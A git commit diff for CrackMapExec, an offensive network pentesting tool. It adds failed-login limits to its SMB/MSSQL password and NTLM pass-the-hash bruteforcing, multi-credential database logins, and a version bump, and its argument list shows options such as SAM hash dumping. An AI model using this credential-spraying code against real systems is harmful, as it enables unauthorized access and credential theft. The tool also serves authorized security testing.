Re-implemented the --gfail-limit and --fail-limit options (Properly this

time) to limit failed login attemptes

- The logic responsible for SMB bruteforcing/login has been modified
  to sync between the concurrent threads: this allows us to limit failed login
  attemptes with the two new flags. However this does cause the threads
  to lock so there is a minor reduction in speed but IMHO this is a good
  middle ground.

- You can now specify multiple DB credential IDs, CME will then
  bruteforce using the specifspecified cred set

- Version bump
main
byt3bl33d3r 2016-08-01 22:06:17 -06:00
parent 6472937773
commit 022671d039
5 changed files with 119 additions and 88 deletions

View File

@ -8,6 +8,10 @@ from cme.execmethods.atexec import TSCH_EXEC
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from gevent.coros import BoundedSemaphore
sem = BoundedSemaphore(1)
global_failed_logins = 0
class Connection:
@ -24,9 +28,21 @@ class Connection:
self.username = None
self.hash = None
self.admin_privs = False
self.failed_logins = 0
if self.args.local_auth:
self.domain = self.hostname
self.login()
def over_fail_limit(self):
global global_failed_logins
if global_failed_logins == self.args.gfail_limit: return True
if self.failed_logins == self.args.fail_limit: return True
return False
def check_if_admin(self):
if self.args.mssql:
try:
@ -79,26 +95,27 @@ class Connection:
except DCERPCException:
pass
def plaintext_login(self, username, password):
def plaintext_login(self, domain, username, password):
try:
if self.args.mssql:
res = self.conn.login(None, username, password, self.domain, None, True)
res = self.conn.login(None, username, password, domain, None, True)
if res is not True:
self.conn.printReplies()
return False
elif not self.args.mssql:
self.conn.login(username, password, self.domain)
self.conn.login(username, password, domain)
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', self.domain, username, password)
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.link_cred_to_host('plaintext', self.domain, username, password, self.host)
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else '')
@ -107,14 +124,18 @@ class Connection:
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(self.domain.decode('utf-8'),
if error == 'STATUS_LOGON_FAILURE':
global global_failed_logins; global_failed_logins += 1
self.failed_logins += 1
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
error,
'({})'.format(desc) if self.args.verbose else ''))
return False
def hash_login(self, username, ntlm_hash):
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
@ -126,23 +147,24 @@ class Connection:
try:
if self.args.mssql:
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
res = self.conn.login(None, username, '', domain, ntlm_hash, True)
if res is not True:
self.conn.printReplies()
return False
elif not self.args.mssql:
self.conn.login(username, '', self.domain, lmhash, nthash)
self.conn.login(username, '', domain, lmhash, nthash)
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', self.domain, username, ntlm_hash)
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.link_cred_to_host('hash', self.domain, username, ntlm_hash, self.host)
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(self.domain.decode('utf-8'),
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
@ -151,7 +173,11 @@ class Connection:
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{} {} {} {}'.format(self.domain.decode('utf-8'),
if error == 'STATUS_LOGON_FAILURE':
global global_failed_logins; global_failed_logins += 1
self.failed_logins += 1
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
error,
@ -159,56 +185,78 @@ class Connection:
return False
def login(self):
if self.args.local_auth:
self.domain = self.hostname
for cred_id in self.args.cred_id:
with sem:
try:
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
if not domain: domain = self.domain
if self.args.domain: domain = self.args.domain
if credtype == 'hash' and not self.over_fail_limit():
self.hash_login(domain, username, password)
elif credtype == 'plaintext' and not self.over_fail_limit():
self.plaintext_login(domain, username, password)
except IndexError:
self.logger.error("Invalid database credential ID!")
for user in self.args.username:
if type(user) is file:
for usr in user:
if self.args.hash:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if self.hash_login(usr.strip(), ntlm_hash): return
with sem:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if not self.over_fail_limit():
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if self.hash_login(usr.strip(), f_hash.strip()): return
ntlm_hash.seek(0)
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if not self.over_fail_limit():
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
ntlm_hash.seek(0)
elif self.args.password:
for password in self.args.password:
if type(password) is not file:
if self.plaintext_login(usr.strip(), password): return
elif type(password) is file:
for f_pass in password:
if self.plaintext_login(usr.strip(), f_pass.strip()): return
password.seek(0)
with sem:
for password in self.args.password:
if type(password) is not file:
if not self.over_fail_limit():
if self.plaintext_login(self.domain, usr.strip(), password): return
elif type(password) is file:
for f_pass in password:
if not self.over_fail_limit():
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
password.seek(0)
elif type(user) is not file:
if self.args.hash:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if self.hash_login(user, ntlm_hash): return
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if self.hash_login(user, f_hash.strip()): return
ntlm_hash.seek(0)
with sem:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if not self.over_fail_limit():
if self.hash_login(self.domain, user, ntlm_hash): return
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if not self.over_fail_limit():
if self.hash_login(self.domain, user, f_hash.strip()): return
ntlm_hash.seek(0)
elif self.args.password:
for password in self.args.password:
if type(password) is not file:
if self.plaintext_login(user, password): return
elif type(password) is file:
for f_pass in password:
if self.plaintext_login(user, f_pass.strip()): return
password.seek(0)
with sem:
for password in self.args.password:
if type(password) is not file:
if not self.over_fail_limit():
if self.plaintext_login(self.domain, user, password): return
elif type(password) is file:
for f_pass in password:
if not self.over_fail_limit():
if self.plaintext_login(self.domain, user, f_pass.strip()): return
password.seek(0)
def execute(self, payload, get_output=False, methods=None):

View File

@ -83,7 +83,7 @@ def connector(target, args, db, module, context, cmeserver):
except:
pass
if args.username and (args.password or args.hash):
if (args.username and (args.password or args.hash)) or args.cred_id:
conn = None
if args.mssql and (instances is not None and len(instances) > 0):

View File

@ -21,8 +21,8 @@ import sys
def main():
VERSION = '3.1'
CODENAME = '\'Duchess\''
VERSION = '3.1.3'
CODENAME = '\'Stoofvlees\''
parser = argparse.ArgumentParser(description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
@ -51,11 +51,11 @@ def main():
formatter_class=RawTextHelpFormatter,
version='{} - {}'.format(VERSION, CODENAME),
epilog='I swear I had something for this...')
epilog="What is it? It's a stew... But what is it? It's a stew...")
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication')
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication')
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
msgroup = parser.add_mutually_exclusive_group()
@ -74,6 +74,9 @@ def main():
parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target')
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")
fail_group = parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attemptes')
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attemptes per host')
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
@ -145,37 +148,23 @@ def main():
db_connection.isolation_level = None
db = CMEDatabase(db_connection)
if args.cred_id:
try:
c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0]
args.username = [username]
if not args.domain:
args.domain = domain
if credtype == 'hash':
args.hash = [password]
elif credtype == 'plaintext':
args.password = [password]
except IndexError:
logger.error("Invalid database credential ID!")
sys.exit(1)
else:
if args.username:
for user in args.username:
if os.path.exists(user):
args.username.remove(user)
args.username.append(open(user, 'r'))
if args.password:
for passw in args.password:
if os.path.exists(passw):
args.password.remove(passw)
args.password.append(open(passw, 'r'))
if args.password:
for passw in args.password:
if os.path.exists(passw):
args.password.remove(passw)
args.password.append(open(passw, 'r'))
elif args.hash:
for ntlm_hash in args.hash:
if os.path.exists(ntlm_hash):
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
elif args.hash:
for ntlm_hash in args.hash:
if os.path.exists(ntlm_hash):
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
for target in args.target:
if os.path.exists(target):

View File

@ -19,7 +19,6 @@ import logging
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smb import SMB_DIALECT
class ListUsersException(Exception):
pass
@ -62,8 +61,6 @@ class SAMRDump:
rpctransport.set_dport(self.__port)
#rpctransport.setRemoteHost(self.__addr)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,

View File

@ -2,7 +2,6 @@ import logging
from gevent import sleep
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import *
from impacket.smb import SMB_DIALECT
from cme.helpers import gen_random_string
class SMBEXEC:
@ -44,8 +43,6 @@ class SMBEXEC:
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.set_dport(self.__port)
#self.__rpctransport.setRemoteHost(self.__host)
if hasattr(self.__rpctransport,'preferred_dialect'):
self.__rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(self.__rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)